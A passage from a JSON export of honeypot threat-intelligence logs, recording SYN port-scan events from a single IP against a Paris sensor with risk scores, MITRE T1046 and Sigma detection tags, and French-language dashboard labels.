\u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022net_port_scan_slow\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":5,"bytes_in":0},{"id":7106821,"ip":"185.244.155.23","ts":"2026-10-23 11:46:59.000000","proto":"tcp","src_port":21875,"dst_port":20634,"service":null,"classification":"port_scan_syn","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022bytes_in\u0022: 0, \u0022payload_entropy\u0022: 0.0, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: null, \u0022app_proto\u0022: null, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20634, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 8.0, \u0022risk_novelty\u0022: 0.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.4, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0}, \u0022risk_score\u0022: 42, \u0022tag_count\u0022: 1, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022a561024e5b8c589ce7b3315387fdc7cb6cff5823\u0022, \u0022event_fingerprint\u0022: \u002282e0aeed7244172be22e752fc6ffe11614425821\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 231, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 8}, \u0022named_classification_skipped\u0022: false, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022path_pattern_hash\u0022: \u00226a708bf69e8680803ad7dadb39e2e4d9\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20634, \u0022risk_score\u0022: 42}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00226146f834039e00098f16f81bd70928d41b70b625\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20634}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20634 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u002220634\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 8}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 42, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: null, \u0022service_label_fr\u0022: null, \u0022dst_port\u0022: 20634, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot\u0022, \u0022correlation_flags\u0022: [\u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +8\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20634}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20634 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: null, \u0022target_port_label\u0022: \u002220634\u0022, \u0022emulator_service\u0022: null, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8\u0022, \u0022campaign_hint_fr\u0022: null, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022generic\u0022, \u0022service_banner\u0022: \u0022honeypot\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220634\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 8, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022net_port_scan_slow\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":5,"bytes_in":0},{"id":7106710,"ip":"185.244.155.23","ts":"2026-10-23 11:46:39.000000","proto":"tcp","src_port":18861,"dst_port":20627,"service":null,"classification":"port_scan_syn","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022bytes_in\u0022: 0, \u0022payload_entropy\u0022: 0.0, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: null, \u0022app_proto\u0022: null, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20627, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 8.0, \u0022risk_novelty\u0022: 0.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.3, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0}, \u0022risk_score\u0022: 42, \u0022tag_count\u0022: 1, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002251880d8028f459d251674a199e8459f645c53839\u0022, \u0022event_fingerprint\u0022: \u0022c0c52cddc69d657d743fd13a38bfc6d76422b9f4\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022named_classification_skipped\u0022: false, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022path_pattern_hash\u0022: \u00226a708bf69e8680803ad7dadb39e2e4d9\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20627, \u0022risk_score\u0022: 42}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002238958659a50d0a0db8b75390bee0eab7bad21928\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20627}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20627 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u002220627\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 42, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: null, \u0022service_label_fr\u0022: null, \u0022dst_port\u0022: 20627, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +14\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20627}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20627 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: null, \u0022target_port_label\u0022: \u002220627\u0022, \u0022emulator_service\u0022: null, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022generic\u0022, \u0022service_banner\u0022: \u0022honeypot\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220627\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 18, \u0022port_scan_ports_sample\u0022: [20617, 20618, 20623, 20624, 20626, 20627, 20629, 20630, 20631, 20633, 20634, 20635, 20638, 20639, 20640, 20787], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 14, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022net_port_scan_slow\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":5,"bytes_in":0},{"id":7106709,"ip":"185.244.155.23","ts":"2026-10-23 11:46:39.000000","proto":"tcp","src_port":16813,"dst_port":20787,"service":null,"classification":"port_scan_syn","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022bytes_in\u0022: 0, \u0022payload_entropy\u0022: 0.0, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: null, \u0022app_proto\u0022: null, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20787, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 8.0, \u0022risk_novelty\u0022: 0.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0}, \u0022risk_score\u0022: 42, \u0022tag_count\u0022: 1, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002262c6e4e2fe5309aa6128f434aad7ce5c36a5bee5\u0022, \u0022event_fingerprint\u0022: \u00226ed5a2cdbd8a2bfec145c9aa3bd4ac8ede241d37\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022named_classification_skipped\u0022: false, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022path_pattern_hash\u0022: \u00226a708bf69e8680803ad7dadb39e2e4d9\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20787, \u0022risk_score\u0022: 42}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002200e255772dc5e937412b108eba732ae8ce40ef7f\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20787}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20787 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u002220787\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 42, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: null, \u0022service_label_fr\u0022: null, \u0022dst_port\u0022: 20787, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +14\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20787}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20787 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: null, \u0022target_port_label\u0022: \u002220787\u0022, \u0022emulator_service\u0022: null, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022generic\u0022, \u0022service_banner\u0022: \u0022honeypot\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220787\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 18, \u0022port_scan_ports_sample\u0022: [20617, 20618, 20623, 20624, 20626, 20627, 20629, 20630, 20631, 20633, 20634, 20635, 20638, 20639, 20640, 20787], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 14, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, 